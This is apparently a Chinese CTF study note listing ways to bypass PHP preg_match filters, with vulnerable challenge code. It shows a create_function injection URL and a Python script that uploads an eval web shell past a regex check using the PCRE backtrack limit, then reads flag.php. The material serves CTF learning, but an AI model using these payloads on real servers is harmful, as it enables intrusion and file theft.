- 换行符绕过(%0a)
<?php
include("flag.php");
highlight_file(__FILE__);
$c = $_GET['c'];
if (preg_match('/^flag$/i', $c) && $c !== 'flag') {
echo $flag;
}else{
echo "nonono";
}
2.数组绕过
preg_match只能处理字符串,当传入的subject是数组时会返回false
3.%5c绕过
<?php
$action= $_GET['action'] ? $_GET['action']: '';
$arg= $_GET['arg'] ? $_GET['arg']: '';
if(preg_match('/^[a-z0-9_]*$/isD',$action)) {
show_source(__FILE__);
}else {
$action('', $arg);
}
题目要求我们需要绕过正则才可以任意命令执行
正则的意思:/^[a-z0-9_]*$/isD
/i不区分大小写
/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[fnrtv]
/D如果使用$限制结尾字符,则不允许结尾有换行;
那么正则匹配的是数字,字母,下划线等开头的值,我们需要找到一个不以数字,字母,下划线等开头的value,同时可以正常执行函数
通过脚本的fuzz我们可以用%5c绕过
最后通过命令执行获取信息
http://127.0.0.1/ctf/1.php?action=\create_function&arg=return%222333%22;}phpinfo();/*
4.preg_match("/^$/e") (注:php版本需要小于5.5.0)
preg_replace 使用了 /e 模式,导致可以代码执行
例:
<?
highlight_file(__FILE__);
echo preg_replace("/test/e",$_GET["h"],"jutst test");
?>
5.PHP利用PCRE回溯次数限制绕过某些安全限制
2018 Code Breaking,有一道关于php回溯bypass正则的题目:pcrewaf
<?php
function is_php($data){
return preg_match('/<?.*[(`;?>].*/is', $data);
}
if(empty($_FILES)) {
die(show_source(__FILE__));
}
$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
echo "bad request";
} else {
@mkdir($user_dir, 0755);
$path = $user_dir . '/' . random_int(0, 10) . '.php';
move_uploaded_file($_FILES['file']['tmp_name'], $path);
header("Location: $path", true, 303);
}
这里主要的问题的是正则的问题
/<?.*[(`;?>].*/is //这个正则会验证我们上传文件的内容是否有php代码
<?.*匹配php的开头和文件内容 而[(`;?>]匹配php代码的末尾,
但是正则末尾还有.* ——一个贪婪匹配他会继续匹配代码末尾是否还有代码
之后根据ph牛的文章
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
我们可以让正则一直回溯知道超出他回溯的上限
而如果超出了上限正则返回的不是0和而是bool(false)
那我们就可以通过脚本从而得到flag
import requests
from io import BytesIO
files = {
'file': BytesIO('<?php eval($_REQUEST[sky]);//'+'a' * 1000000)
}
r = requests.post('http://127.0.0.1/ctf/1.php', files=files, allow_redirects=False)
path = r.headers['Location']
url = 'http://127.0.0.1/ctf/'+path
# print url
data = {
# 'sky':"var_dump(scandir('../../../'));"
'sky':"var_dump(file_get_contents('../../../flag.php'));"
}
r = requests.post(url=url,data=data)
print (r.content)